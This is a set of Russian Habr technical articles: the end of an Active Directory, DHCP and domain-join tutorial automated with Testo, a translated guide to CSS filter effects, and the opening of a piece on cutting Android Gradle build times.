Что такое вообще "Глобальный каталог"? Согласно [Miscrosoft](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc728188(v=ws.10)?redirectedfrom=MSDN) — это распределенное хранилище данных, которое хранит частичное представление обо всех AD-объектах в лесу. Это хранилище располагается на котроллерах домена, которые имеют дополнительную роль "Global Catalog Server" (Сервер глобального каталога). От обычного контроллера домена GC-сервер отличается в первую очередь тем, что помимо полной копии всех объектов в своем домене, хранит также частичную информацию обо всех объектах в других доменах леса.
Чего это позволяет достичь? Давайте представим, что рабочая станция запросила информацию об объекте из другого домена. Она обращается на ближайший GC-сервер с просьбой предоставить ей информацию об этом объекте. GC-сервер, в свою очередь, может:
1. Либо отдать рабочей станции нужную информацию сразу (если эта информация у GC-сервера имеется);
2. Либо перенаправить запрос к нужному контроллеру домена, где эта информация точно будет находиться. Чтобы понять, какому контроллеру домена нужно перенаправить запрос, как раз и происходит поиск по GC.
Информация о том, какие атрибуты попадают в глобальный каталог, определена в Partial Attribute Set (PAS), который может настраивать администратор AD. Например, если администратор понимает, что рабочие станции часто будут обращаться к атрибуту, который не содержится в глобальном каталоге, он может добавить туда этот атрибут. Тогда запросы рабочих станций при чтении этого атрибута будут выполняться значительно быстрее, т.к. уже ближайший GC-сервер сможет предоставить им всю нужную информацию.
Однако, если в лесе всего один домен (как у нас), то Глобальный каталог содержит полную копию объектов в домене и всё.
Что ж, возвращаемся к галочке GC, которую за нас уже проставил мастер настройки доменных служб. Если вы попробуете её отключить, то убедитесь, что отключить её нельзя. Это связано с тем, что каждый домен в AD должен иметь хотя бы один GC-сервер, и при добавлении первого контроллера в домен этот контроллер сразу помечается как GC-сервер.
Что ж, давайте согласимся с этим "выбором" мастера и перейдём к последнему параметру на этом скриншоте — к паролю для режима восстановления служб каталогов. Это особый режим безопасной загрузки Windows Server, который позволяет администратору работать с базой данных AD. Этот режим применяется, например, в следующих [случаях](https://winitpro.ru/index.php/2013/07/11/vxod-v-dsrm-rezhim-na-kontrollere-domena-windows-server-2012/):
* база Active Directory повреждена и нуждается в исправлении;
* требуется выполнить обслуживание базы данных AD (сжатие, анализ на наличие ошибок);
* требуется восстановить резервную копию базы данных AD;
* требуется сменить пароль администратора.
Да да, вы не ослышались. Чтобы просто восстановить резервную копию базы данных, нужно перезагрузить машину и загрузиться в особом "безопасном" режиме. Это вам не Linux какой-нибудь.
Фух, вроде разобрались. Давайте перейдем дальше на шаг, где нам предложат настроить делегирование DNS.
**Делегирование DNS**
Что такое делегирование DNS? По большей части, это передача ответственности за некоторую DNS-зону отдельному DNS-серверу. Это распространенная практика в больших сетях, в которых требуется разграничить зоны ответственности за доменные зоны между различными серверами. При делегировании DNS в "главный" DNS-сервер вносится запись о том, что "вот за эту DNS-зону несёт ответственность вон тот DNS-сервер, обращайся туда".
Т.к. у нас всего одна зона DNS и DNS-сервер тоже один, то этот шаг нам необходимо пропустить и перейти к выбору NetBIOS-имени.
**NetBIOS-имя**
Мы видим, что мастер предложил нам на выбор сразу же имя для нашего домена — MYDOMAIN. Но вы можете (и должны) задать себе вопрос: а что такое вообще NetBIOS-имя и зачем оно нужно? И разве мы уже не настраивали сетевое имя узла (Hostname) в самом начале? Чего же от вас хотят?
NetBIOS (Network Basic Input/Output) — это ещё один способ разрешения имён узлов в сети (более древний и более примитивный, чем DNS). NetBIOS-имена не предполагают никакой иерархии, их длина ограничивается всего лишь 16 символами, и они применяются только для разрешения имён компьютеров в локальной сети. Когда мы в самом начале туториала выбрали сетевое имя ADController — мы, на самом деле, задали именно NetBIOS-имя для сервера. Но теперь от нас снова требуют выбрать NetBIOS-имя (да ещё и другое, отличное от ADContoller). Не много ли NetBIOS-имён для одного компьютера?
Дело в том, что Microsoft пошла ещё дальше — и ограничила длину NetBIOS-имен не 16 символами, а 15 символами. 16-ый символ при этом считается *зарезервированным суффиксом*, который может принимать фиксированные значения. В зависимости от значения 16-го байта получаются разные [классы](https://en.wikipedia.org/wiki/NetBIOS) NetBIOS-имён. Например, если суффикс равен 00, то NetBIOS-имя относится к *рабочей станции*. Если суффикс равен 1С, то это имя относится к имени домена.
То есть, как вы понимаете, на первом шаге мы задавали NetBIOS-имя для компьютера Windows Server (с суффиком 00). А теперь задаём NetBIOS-имя домена mydomain.com (с суффиксом 1С).
Кстати, можете, ради интереса, отмотать туториал в самое начало и посчитать количество символов в "нечитаемом" автоматически сгенерированном сетевом имени windows\_server. Будет как раз 15 символов (максимальная длина NetBIOS-имени).
И напоследок скажу, что вы не можете пропустить этот шаг. NetBIOS хоть и устаревшая технология, но до сих пор используется ради совместимости с некоторыми старыми службами. Настроить контроллер домена Active Directory без NetBIOS-имени нельзя.
Что ж, и с этим тоже разобрались. Оставляем NetBIOS-имя по-умолчанию и двигаемся дальше, к выбору места расположения базы данных AD. Можно оставить значение по-умолчанию, комментировать особо нечего.
**Расположение базы данных**
Все ваши настройки должны пройти предварительную проверку:
**Проверка предварительных требований**
Как только всё готово, жмите "Установить" и можете спокойно идти пить чай, потому что после установки автоматически начнётся очень-очень долгая перезагрузка. Зато настройка контроллера домена AD на этом закончена, поздравляю!
Настройка DHCP-сервера
----------------------
Пришло время заняться настройкой DHCP-сервера. Настройка глобально состоит из двух частей:
1. Авторизация DHCP-сервера в домене AD. Не каждый DHCP-сервер может раздавать сетевые настройки в домене AD — только авторизованные. Это сделано с целях безопасности, чтобы другие DHCP-серверы не могли "подсунуть" неправильные настройки компьютерам в домене;
2. Настройка новой DHCP-области. Это уже непосредственно настройка самого DHCP-сервера, в ходе которой определяются какие сетевые настройки будут выдаваться компьютерам в сегменте сети.
Для того, чтобы авторизировать DHCP-сервер, нужно вернуться на панель мониторинга (она и так должна быть перед вами после перезагрузки), перейти на вкладку DHCP (слева) и кликнуть на предложение донастроить DHCP-сервер:
**Запуск авторизации DHCP-сервера**
В открывшемся мастере настройки DHCP после установки пропускаем первый приветственный экран и переходим к экрану авторизации
**Авторизация DHCP-сервера в домене**
На выбор предлагаются три варианта:
1. Использовать учётные данные администратора (по-умолчанию)
2. Использовать учётные данные другого пользователя;
3. Пропустить авторизацию AD.
По-умолчанию авторизовать DHCP-сервер в домене могут только члены группы [EnterpriseAdmins](https://docs.microsoft.com/ru-ru/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-entadmins), куда как раз и входит пользователь MYDOMAIN\Администратор. При желании можно потратить немного времени и делегировать эту возможность админам "помельче" (региональным администраторам), почерпнуть больше информации по этой теме можно [отсюда](https://winitpro.ru/index.php/2012/05/10/avtorizaciya-dhcp-servera-bez-prav-enterprise-admin/).
Итак, выбираем вариант по-умолчанию и завершаем первый этап настроки DHCP-сервера.
**Завершение авторизации DHCP-сервера**
Теперь переходим непосредственно к настройкам DHCP. Для этого на панели мониторинга кликаем вкладку "Средства" и выбираем пункт "DHCP"
В открывшемся окне с настройками DHCP нужно кликнуть правой кнопкой мышки на IPv4 и затем на пункт меню "Создать область". После этого откроется мастер создания новой области.
**Открытие мастера создания новой области**
Что такое DHCP-область? Под этим понимается некий диапазон IP-адресов, которые может выдавать DHCP-сервер другим компьютерам в сети. Каждая область помимо диапазона IP-адресов также содержит другие сетевые настройки, с которыми мы сейчас и познакомимся.
Назовём DHCP-область SCOPE1 и перейдём дальше.
На следующем экране вам предложат выбрать диапазон адресов, которые будут выдаваться компьютерам в сети. Ранее я настраивал сетевой интерфейс на Windows Server, выдав ему адрес 192.168.1.1/24. Это статический адрес и он зарезервирован, его выдавать другим компьютерам нельзя.
Зато никто не мешает выдавать все остальные адреса в сети 192.168.1.0/24 — так что задаём диапазон от 192.168.1.2 до 192.168.1.254 (192.168.1.255 — это зарезервированный широковещательный адрес, его выдавать тоже нельзя).
**Настройка диапазона адресов**
В целом, никто не мешает вам как администратору выдавать меньше IP-адресов, чем доступно в адресации сети. Например, можно было бы выделить в сети всего 100 адресов для автоматической выдачи: 192.168.1.101-192.168.1.200.
Переходим далее и видим предложение о выборе исключений из указанонного диапазона адресов, а также о настройке задержки при передаче сообщения DHCPOFFER
**Исключения в диапазоне и задержка DHCPOFFER**
С исключениями всё более-менее понятно: если вы не хотите выдавать некоторые адреса в указанном ранее диапазоне, то вы можете указать эти адреса здесь в виде исключений. А что за задержка в DHCPOFFER такая?
Эта настройка уже относится к довольно продвинутому администрированию сетей: если в вашей сети есть несколько DHCP-серверов, то с помощью этой задержки вы можете регулировать нагрузку между ними (подробнее можно прочитать, например, [тут](https://www.juniper.net/documentation/en_US/junos/topics/topic-map/dhcp-local-server-response-delay.html)).
В любом случае, исключений в диапазоне у нас нет, да и задержка по-умолчанию нас устраивает, так что кликаем дальше и видим настройку сроков аренды адресов.
**Настройка времени аренды адресов**
Протокол DHCP предполагает выделение адресов только на определённое время, после чего компьютеры должны продлять аренду. Здесь можно настроить это время (по-умолчанию — 8 дней).
8 дней меня лично вполне устраивает, так что кликаем "Далее" и видим предложение настроить другие настройки, которые будут получать клиенты в сети (помимо IP-адреса). Соглашаемся.
**Настроить дополнительные параметры**
Первая сетевая настройка для клиентов — это шлюз по-умолчанию. В стенде из двух виртуальных машин эта настройка в принципе не нужна. Но можно представить, что windows\_server будет играть роль шлюза во внешнюю сеть, и добавить адрес 192.168.1.1 как шлюз по-умолчанию.
**Шлюз по-умолчанию**
Далее идет настройка DNS. Здесь можно задать имя родительского домена и адреса DNS-серверов. С адресами DNS-серверов всё более-менее понятно — это IP-адреса серверов, куда следует обращаться клиентам за помощью в разрешении DNS-имён. Сейчас в этом списке фигурирует тот же адрес, что мы добавили как шлюз по-умолчанию.
А вот для понимания имени родительского домена, рассмотрим следующую ситуацию.
Допустим, есть домен mydomain.com и есть два компьютера в этом домене с именами comp1.mydomain.com и comp2.mydomain.com. Если comp1 хочет связаться с comp2, то он должен, по-хорошему, использовать следующую команду (обращение по Fully Qualified Domain Name — FQDN):
```
ping comp2.mydomain.com
```
Но задумывались ли вы когда-нибудь, что именно произойдет, если попытаться пропинговать другой узел следующим образом?
```
ping comp2
```
На самом деле, в этом случае начинается целая магия — очень хитрый процесс разрешения имён (картинка из интернетов).
**Процесс разрешения сетевых имён**
1. Поиск информации в hosts.txt или в кеше;
2. Попытка найти имя через DNS;
3. Попытка найти NetBIOS-имя в кеше;
4. Попытка найти NetBIOS-имя через WINS-сервер;
5. Попытка найти NetBIOS-имя путём отправки широковещательных пакетов в локальную сеть;
6. Попытка найти NetBIOS-имя в LMHOSTS-файле.
Согласно алгоритму разрешения сетевых имен, сначала comp1 попробует найти информацию о comp2 в hosts.txt — файле. Если этой информации там не окажется, то начинается процесс поиска узла через DNS. Вот только вопрос — DNS-имена же находятся в каком-то домене, верно? Какое доменное имя нужно "пристыковать" к comp2 при выполнении пинга?
Вот тут в дело и вступает настройка DHCP, которая называется "имя родительсокго домена". Это как раз тот суффикс, который будет автоматически "пристыкован" к имени comp2 при выполнении DNS-разрешения имени. Так что если имя родительского домена равно "mydomain.com", то команда `ping comp2` неявно преобразуется в `ping comp2.mydomain.com`.
Если же DNS-разрешение окажется неудачным, дальше начнутся попытки найти comp2 уже по NetBIOS-имени. Что такое WINS, и чем он отличается от Broadcast — информация будет чуть дальше по тексту.
Что ж, в нашем случае имя родительсокго домена должно быть mydomain.com (значение по-умолчанию), а нужный DNS-сервер уже находится в списке, так что в итоге просто кликаем "Далее".
**Настройки DNS**
Теперь нас попросят указать настройки WINS-сервера. WINS (Windows Internet Name Service) сервер участвует в разрешении NetBIOS-имён в сети (прямо как DNS-сервер для DNS-имён). Вот только, в отличие от DNS, WINS-сервер не обязательно должен присутствовать в сети, чтобы разрешение NetBIOS-имён работало. Так зачем же он нужен тогда?
Дело в том, что по-умолчанию разрешение NetBIOS-имен происходит через широковещательные запросы. С одной стороны, это очень простой механизм (проще не придумаешь), но, с другой стороны, обладает парой недостатков:
1. При наличии большого количества NetBIOS-имён в сети широковещательный тафик может начать "зашумлять" канал;
2. Широковещательные запросы не могут "выйти" за пределы текущей сети, поэтому узнать NetBIOS-имя из другой сети таким способом не выйдет.
Так вот, WINS-сервер позволяет решить обе этих проблемы. Этот сервер централизованно хранит NetBIOS-имена компьютеров, и обычные узлы в сети могут обращаться к нему для поиска IP-адреса интересующего их имени (как и для DNS). Такой подход, во-первых, резко уменьшает количество широковещательного трафика в сети, а, во-вторых, позволяет посылать NetBIOS-запросы в другие сети, а не только в текущую.
В нашей небольшой сети WINS-сервер нам ни к чему, поэтому просто пропускаем эту настройку и едем дальше.
**WINS-серверы**
В последнем шаге настройки вам предлагают сразу активировать настроенную область. Соглашаемся, и на этом заканчиваем настройку DHCP.
**Активация области**
Создаём нового пользователя в домене AD
---------------------------------------
Собственно настройка контроллера домена и различных сервисов уже фактически закончена, все параметры выставлены как надо. Теперь нужно просто зарегистрировать нового пользователя, от имени которого рабочая станция workstation будет выполнять вход в домен.
Для этого возвращаемся на панель мониторинга, кликаем на "Средства" и затем на "Пользователи и Компьютеры Active Directory"
В открывшемся меню можно заметить созданный домен mydomain.com и его состав. Видно, что помимо пользователей в домене созданы папочки для Computers, Domain Controllers и других сущностей. Но нас сейчас интересуют пользователи, поэтому кликаем правой кнопкой мышки на папке Users и выбираем "Создать" -> "Пользователь"
После этого появляется диалоговое окно с преложением ввести данные нового пользователя. По старой доброй традиции назовём пользователя Foo Bar. Обратите внимание, что пользователь отображается лишь как "Объект" в Active Directory наравне с другими объектами.
**Новый объект - Пользователь**
Теперь необходимо задать пароль и дополнительные параметры для пользователя. Пароль должен соответсовать политике паролей по-умолчанию, которая, в том числе, предписыват паролям в домене быть довольно сложными (должен использовать числа, буквы верхнего и нижнего регистра, а также спец символы).
Обычно администратор создаёт простой пароль для пользователя, а затем требует от пользователя сменить его при первом входе в систему (первая галочка в списке доступных опций). Это очень хорошая практика с точки зрения безопасности, ведь таким образом даже администратор AD не сможет узнать пароль пользователя. Также хорошей практикой считается ограничивать срок действия пароля. В этом туториале для простоты мы уберём требование о смене пароля пользователем при врходе в систему.
**Параметры нового пользователя**
После этого останется лишь подтвердить создание нового пользователя.
**Подтверждение создания нового пользователя**
Ну что ж, вот, кажется, и всё! Осталось лишь проверить ввод рабочей станции в домен.
Ввод рабочей станции в домен
----------------------------
Переключаемся на вторую машину workstation под управлением Windows 7 и заходим в свойства системы. Сейчас видно, что рабочая станция находится в рабочей группе (не в домене). Кстати говоря, WORKGROUP — это тоже NetBIOS-имя. Только в отличии от имени домена оно имеет суффикс 1E.
Щелкаем на кнопку "Изменить параметры", затем в появившемся окне ещё раз "Изменить...".
В окне изменения имени компьютера пишем, что он должен принадлежать домену mydomain.com.
**Подключение к домену**
Видим предупреждение о нестандартном имени компьютера (testo-ПК содержит кириллицу). Это связано с тем, что NetBIOS-имена не могут содеражать кириллицу. Но мы с вами настроили DNS-сервер (DNS настройки прилетели на рабочую станцию по DHCP), а DNS-механизм разрешения имён, как мы знаем, имеет приоритет перед NetBOIS. Так что в данном случае на работоспособность AD кириллица не влияет. Но на практике так делать не надо!
**Нестандартное имя компьютера**
Вводим логин-пароль от новой учетной записи FooBar и, наконец, видим заветное сообщение "Добро пожаловать в домен"
**Авторизация в домене**
После ввода компьютера в домене необходимо перезагрузить компьютер, ну а дальше — вводим учётные данные пользователя в AD.
**Логин в AD**
И после успешного входа на рабочий стол перепроверяем свойства системы.
**Новые свойства системы**
Полное имя компьютера поменялось на testo-ПК.mydomain.com, а это значит, что мы успешно ввели рабочую станцию в домен mydomain.com.
Автоматизируем
--------------
Как вы могли заметить, весь туториал можно выполнить, пользуясь исключительно мышкой и клавиатурой. Больше того, нам даже не пригодились знания PowerShell, который позволяет выполнять бОльшую часть настройки контроллера домена AD с помощью скриптов.
Так почему бы не автоматизировать все действия с клавиатурой и мышкой, которые мы предпринимали? И нет, я говорю не об AutoIT, я говорю о платформе Testo, создателем которой я являюсь. Эта платформа позволяет фиксировать все действия, проводимые с виртуальными машинами, в виде скриптов на специальном языке Testo-lang. Ну а Testo затем превратит эти скрипты обратно в действия.
Я приведу лишь один скриншот с кусочком скрипта, чтобы у вас сложилось представление о том, о чём я говорю (да, именно скриншот, ведь хабр не умеет подсвечивать скриповый язык Testo-lang). Я даже не буду комментировать этот скрипт, т.к. верю, что код говорит сам за себя.
**Секция скрипта на языке Testo-lang**
Я не буду сейчас рассказывать о платформе Testo и о её возможностях. Для этого есть отдельная [статья](https://habr.com/ru/company/testo_lang/blog/521682/) на хабре. Вместо этого предлагаю просто увидеть своими глазами, как это работает:
Всё, что Вам потребуется для создания собственного стенда с настроенной Active Directory — это:
1. Установочный [iso-образ](https://www.microsoft.com/ru-ru/evalcenter/evaluate-windows-server-2016) Windows Server 2016 русской версии;
2. Установочный iso-образ Windows 7 (придётся поискать самим);
3. [Скрипты](https://gist.github.com/CIDJEY/4b64244d2e0d35e5a02a2cca5b9b252e) на языке Testo-lang;
4. Установленная платформа [Testo](https://testo-lang.ru/ru) (бесплатно);
5. Выполнить команду.
```
sudo testo run ./tests.testo --param ISO_DIR /path/to/your/iso/dir
```
И всё. Как и я обещал — всего одна команда. Через пол часа — час (зависит от шустрости вашего компьютера) вы сможете наслаждаться своим готовым стендом.
Итоги
-----
Надеюсь, вам понравился туториал, и вы нашли его полезным. Возможно, вас заинтересовала платформа Testo, в этом случае вот несколько полезных ссылок:
* [сайт](https://testo-lang.ru/ru) платформы Тесто.
* [youtube-канал](https://www.youtube.com/channel/UC4voSBtFRjRE4V1gzMZoZuA), где можно найти много примеров.
* основная [статья](https://habr.com/ru/company/testo_lang/blog/521682/) на хабре
* [статья](https://habr.com/ru/company/testo_lang/blog/523496/), где я автоматизировал несколько системных тестов для Dr. Web
* [скрипты](https://gist.github.com/CIDJEY/4b64244d2e0d35e5a02a2cca5b9b252e) на языке Testo-lang для этого туториала | https://habr.com/ru/post/525326/ | null | ru | null |
# [Перевод] CSS Filters
CSS Filters были созданы для получения различных визуальных эффектов при применении их к DOM элементам. В данной статье мы поговорим об истории фильтров, о том, что они делают и как их применять. Так же рассмотрим их влияние на производительность как на десктопах, так и на мобильных устройствах.
#### Прошлое, настоящее и будущее фильтров
Фильтры были созданы как часть спецификации SVG. Их задачей было применение эффектов, основанных на пиксельной сетке к векторной графике. Со временем интернет-браузеры были наделены поддержкой SVG и полезность фильтров стала очевидна. Robert O’Callahan из Mozilla [описал идею](http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html) применения SVG фильтров к элементам DOM с помощью описания их в CSS. Он создал пример в котором показал насколько проще может быть применение SVG эффектов в комбинации с CSS. Рабочие группы CSS и SVG объединились и создали новое CSS свойство *filter*. Документация по данной спецификации находится [здесь](https://dvcs.w3.org/hg/FXTF/raw-file/tip/filters/index.html).
#### Новая жизнь свойства «filter»
Порой просматривая CSS код какой-либо странички в интернете вы не редко натыкаетесь на данное свойство. Но в большинстве случаев это свойство записано для старых версий Internet Explorer, оно управляет некоторыми эффектами, реализованными в браузере. Свойство это было опущено в пользу стандартного, которое уже сейчас является частью спецификации CSS3.
#### Как работают фильтры
Что же делают фильтры? Можно представить себе что это некий постпроцесс, который творит чудеса с элементами на странице уже после того как они были отрисованны.
Загружая веб-страницу, браузер создает ее макет, применяет стили и на конечном этапе рендерит ее. Фильтры применяются после всех этих операций, но до того, как отрисованная страница попадет на экран. Они обрабатывают страницу попиксельно применяя заданные эффекты и отрисовывают результат поверх оригинала. Таким образом применяя несколько фильтров можно достигать различных эффектов, они как бы накладываются друг на друга. Чем больше фильтров, тем больше времени требуется браузеру чтобы отрисовать станицу.
#### Описание фильтров с помощью SVG и CSS
Существует несколько способов описания и применения фильтров. Сам по себе SVG является элементом, в котором фильтры описываются с помощью синтаксиса XML. Описание фильтров используя CSS стили дает тот же результат, но благодаря синтаксису CSS этот способ является много проще.
Большинство стандартных CSS фильтров могут быть описаны и с помощью SVG, так же CSS позволяет ссылаться на фильтры описанные в SVG формате. Здесь мы поговорим только о фильтрах доступных в CSS.
#### Как использовать СSS Filters
Фильтры можно применять к любому видимому элементу на странице.
`div { filter: grayscale(100%); }`
Данный пример изменит цвет контента находящегося внутри тега на ч/б.
Каждый фильтр имеет параметр который позволяет изменять силу действия фильтра.
`div { filter: grayscale(50%); }`
Можно применять несколько фильтров одновременно.
`div { filter: grayscale(100%) sepia(100%); }`
#### Какие фильтры доступны для использования в CSS
**grayscale(значение)**
Конвертирует цвета в ч/б. Значение задается как в процентах (0% — 100%), так и в десятичных дробях (0 — 1).
**sepia(значение)**
Создает эффект сепии. Значение задается как в процентах (0% — 100%), так и в десятичных дробях (0 — 1).
**saturate(значение)**
Управляет насыщенностью цвета. Значение задается как в процентах (0% — 100%), так и в десятичных дробях (0 — 1).
**hue-rotate(угол)**
Меняет цвета изображения в зависимости от заданного угла. Угол поворота определяет на сколько изменится данный цвет в цветовом круге от красного до фиолетового. Значение задается в градусах (0deg — 360deg).
**invert(значение)**
Инвертирует цвета. Значение задается как в процентах (0% — 100%), так и в десятичных дробях (0 — 1).
**opacity(значение)**
Задает прозрачность элемента. Значение задается как в процентах (0% — 100%), так и в десятичных дробях (0 — 1).
Данный фильтр работает так же как и CSS свойство *opacity*. Единственное различие в том, что фильтр поддерживает аппаратное ускорение, а свойство нет. Таким образом применение фильтра даст большую производительность.
**brightness(значение)**
Изменяет яркость изображения. Значение задается как в процентах (0% и больше), так и в десятичных дробях (0 и больше).
**contrast(значение)**
Изменяет контрастность изображения. Значение задается как в процентах (0% и больше), так и в десятичных дробях (0 и больше).
**blur(радиус)**
Создает эффект размытости. Значение задается в пикселях (px).
**drop-shadow(x, y, радиус, цвет)**
Создает тень аналогично CSS свойству *box-shadow*, но только фильтр имеет поддержку аппаратного ускорения. Значения задаются аналогично значениям CSS аналога.
`drop-shadow(16px 16px 20px black);`
`filter: drop-shadow(inset 0 0 2rm blue);`
**url(ссылка на SVG фильтр)**
Можно создавать собственные фильтры с помощью SVG элемента *filter* и ссылаться на них из CSS. Каждый фильтр имеет свой *id*.
SVG:
```
...
```
CSS:
`div { filter: url(#foo); }`
**custom (coming soon)**
В скором будущем станет доступна возможность создавать свои собственные фильтры с помощью [CSS Shaders](http://www.adobe.com/devnet/html5/articles/css-shaders.html).
#### Производительность
CSS Filters дают отличные визуальные эффекты, но в то же время негативно влияют на производительность вашего веб-сайта. Важно понять что они делают и как это влияет на производительность.
Большинство фильтров работают довольно быстро на любом устройстве поддерживающем их. Однако фильтры *blur* и *drop-shadow*, использующие эффект размытости, работают намного медленнее остальных. Как именно они работают?
Когда вы применяете фильтр *blur*, он смешивает цвета пикселей вокруг каждого пикселя, таким образом создавая эффект размытости. Например, если задан радиус *2px*, то фильтр будет выбирать по два пикселя во всех направлениях и смешивать их цвета и так для каждого пикселя. Чем больше радиус, тем больше времени нужно на расчет эффекта. Так как фильтр выбирает пиксели во всех направлениях, то при увеличении радиуса размытости в 2 раза количество пикселей возрастает в 4 раза. Это означает, что времени на расчет потребуется ровно в 4 раза больше. Фильтр *drop-shadow* содержит в себе фильтр *blur*.
Вы можете спокойно использовать эти фильтры на платформах, которые предоставляют возможность аппаратного ускорения, но не каждый браузер поддерживает его. В таком случае стоит поэкспериментировать и добившись желаемого результат попробовать снизить радиус размытости на столько, на сколько это возможно сделать без критического ущерба визуальному эффекту.
При использовании кастомных SVG фильтров убедитесь что они не содержат в себе эффектов, которые могут негативно влиять на производительность.
#### Совместимость
Большинство CSS фильтров сейчас доступны для использования в браузере FireFox и браузерах на движке WebKit. В скором времени надеемся увидеть поддержку в браузерах Opera и IE10. Так как спецификация все еще находится в разработке, приходится использовать вендорные префиксы. Для WebKit *-webkit-filter*, для FireFox префикс не требуется.
Ниже приведена таблица совместимости фильтров с браузерами.
#### Полезные ссылки
[Рисуем с помощью CSS фильтров.](http://cssfilters.appspot.com/)
[Двигаем ползунки смотрим что получилось.](http://html5-demos.appspot.com/static/css/filters/index.html)
[Туториал с примерами.](http://net.tutsplus.com/tutorials/html-css-techniques/say-hello-to-css3-filters/)
[Официальная W3C документация по спецификации Filter Effects 1.0](https://dvcs.w3.org/hg/FXTF/raw-file/tip/filters/index.html)
[Пример UI созданного с помощью фильтров.](http://lab.simurai.com/stars/#bruno)
Оригинал статьи: [UNDERSTANDING CSS FILTER EFFECTS](http://www.html5rocks.com/en/tutorials/filters/understanding-css/)
P.S.
— В Chrome 19 фильтр *drop-shadow* не размывает границы тени.
— Фильтр яркости на деле не понимает значения больше 1 (100%). В оригинальной статье говорится о том, что значение 1 (100%) является значением нормальной яркости, и при увеличении его можно повысить силу действия фильтра. На самом деле значение 1 (100%) дает повышение яркости до предела, а отрицательное -1 (-100%) понижает яркость.
— Пример со всеми фильтрами — [ссылка](http://jsfiddle.net/roman01la/e4bHN/).
— Пример использования фильтров с CSS3 Transitions на состояние :hover — [ссылка](http://jsfiddle.net/roman01la/Q2p4x/).
— Анимированная мозайка с использованием фильтра *blur()*. Убедитесь сами как данный фильтр съедает ваш процессор (аппаратное ускорение должно быть отключено) — [ссылка](http://jsfiddle.net/roman01la/8UaZ7/1/). | https://habr.com/ru/post/144852/ | null | ru | null |
# Уменьшаем время сборки ваших Android-проектов
Доброе утро! Начинаем понедельник с материала, перевод которого подготовлен специально для студентов курса [«Android-разработчик. Продвинутый курс»](https://otus.pw/GBGF/).
Недавно я переносил кодовую базу Android в [Kure](http://kureapp.com/) на AndroidX. Мне показалось, что это прекрасная возможность поработать над скоростью сборки проекта. У Gradle всегда была плохая репутация из-за медлительности и ресурсоемкости, но я был очень удивлен, что незначительные изменения в конфигурации сборки могут так значительно увеличить ее скорость.
Посмотрите на показатели сканирования сборки до/после оптимизации
*до оптимизации*
*после оптимизации ️️*
Снизились с 5,5 минут до **17 секунд?? С ума сойти!**
Не так уж и сложно переусердствовать с оптимизацией, чтобы еще больше сократить время сборки. Но для того, чтобы пост был понятен начинающим, я намеренно сосредоточусь на незначительных, безболезненных мерах, которые я предпринял, чтобы приблизиться к такому показателю.
Прежде всего!
-------------
Перед тем, как начать оптимизацию, важно протестировать наш проект, чтобы узнать, сколько времени требуется на его сборку. Gradle имеет удобную опцию сканирования, которую вы можете использовать для анализа производительности вашей задачи. Запустите терминал в Android Studio и выполните следующую команду:
```
./gradlew assembleDebug --scan
```
После успешного завершения сборки вам будет предложено принять условия обслуживания, чтобы загрузить результаты сканирования. Введите **yes**, чтобы продолжить. После завершения публикации вы получите ссылку на терминал для проверки сканирования. Откройте ее.
*На сайте есть довольно много опций, но для краткости мы рассмотрим только то, что является наиболее важным.*
В Summary отображается сводная информация о выполненных задачах и времени их выполнения. Но что нас здесь интересует, так это раздел **Performance**. Он делает более подробную разбивку общего времени сборки, как показано ниже.
В разделе Performance есть вкладка **Settings and suggestions**, в которой приведены рекомендации по улучшению скорости сборки. Давайте посмотрим на них.
В этом разделе мы можем найти несколько простых исправлений для повышения скорости. Итак, давайте продолжим и применим эти исправления в нашем проекте.
Шаг № 1: Обновите инструменты
-----------------------------
Команда Android постоянно совершенствует и развивает систему сборки. Таким образом, в большинстве случаев вы можете получить значительное улучшение, просто установив последнюю версию инструментария.
Во время этого рефакторинга наш проект был на **версии 3.2.1** плагина Gradle для Android Studio (*на несколько версий старше, чем последний выпуск*).
Вы можете перейти по [этой ссылке](https://developer.android.com/studio/releases/gradle-plugin), чтобы получить последнюю версию Gradle Plugin. На момент написания этого поста последней была **версия 3.4.0.**
Но здесь есть подвох, о котором мы должны помнить:
*(**Примечание:** При использовании Gradle версии 5.0 или выше размер памяти демона Gradle по умолчанию уменьшается с 1 ГБ до 512 МБ. Это может привести к снижению производительности сборки. Чтобы переопределить этот параметр по умолчанию, укажите размер памяти для демона Gradle в файле gradle.properties вашего проекта.)*
<https://developer.android.com/studio/releases/gradle-plugin>
*При использовании **Gradle 5.0 и выше** нам нужно будет явно увеличить размер памяти, чтобы скорость нашей сборки не ухудшилась. Мы вернемся к этому через минуту.*
Откройте файл **build.gradle** верхнего уровня, который вы найдете в корне вашего проекта, и добавьте следующую строку в **раздел зависимостей**:
`classpath 'com.android.tools.build:gradle:3.4.0'`
Вам также необходимо обновить **distribution URL-адрес** в файле свойств Gradle Wrapper, который находится по адресу `**gradle/wrapper/gradle-wrapper.properties**`. Обновите URL-адрес до следующего.
(*Эта ссылка будет доступна на [странице плагина Android Gradle](https://developer.android.com/studio/releases/gradle-plugin).*)
`distributionUrl=https\://services.gradle.org/distributions/gradle-5.1.1-all.zip`
Вы столкнетесь с ошибкой при использовании Kotlin, если версия плагина Kotlin Gradle меньше **1.3.0.** Если это так, воспользуйтесь подсказкой IDE, чтобы обновить Gradle плагин для Kotlin до последней версии (на момент написания этой статьи это **версия 1.3.31**).
Хорошо, давайте снова запустим сборку из терминала, чтобы посмотреть, добились ли мы каких-нибудь улучшений.
Шаг № 2: Обновите конфигурации
------------------------------
Итак, мы смогли срезать около 2,5 минут от времени сборки, но это все еще недостаточно хорошо. Изучив логи сборки в терминале, я наткнулся на одну строку, которая нас заинтересует:
*(> Task :app:compileDevelopDebugJavawithJavac
Gradle может отключить инкрементную компиляцию, так как следующие процессоры аннотаций не являются инкрементными: butterknife-compiler-10.1.0.jar (com.jakewharton:butterknife-compiler:10.1.0), dagger-compiler-2.9.jar (com.google.dagger:dagger-compiler:2.9).
Рассмотрите возможность установки экспериментального флага android.enableSeparateAnnotationProcessing-true в файле gradle.properties для запуска обработки аннотаций в отдельной задаче и выполнения инкрементной компиляции.)*
Инкрементная компиляция в основном предотвращает расточительную компиляцию всего набора исходных файлов и вместо этого компилирует только те файлы, которые были изменены. Из логов видно, что мы не пользуемся этой функцией. Он предлагает нам использовать `**android.enableSeparateAnnotationProcessing=true**`, но, в любом случае, мы не должны использовать конфигурацию *«annotationProcessor»* поскольку в нашем проекте используется Kotlin.
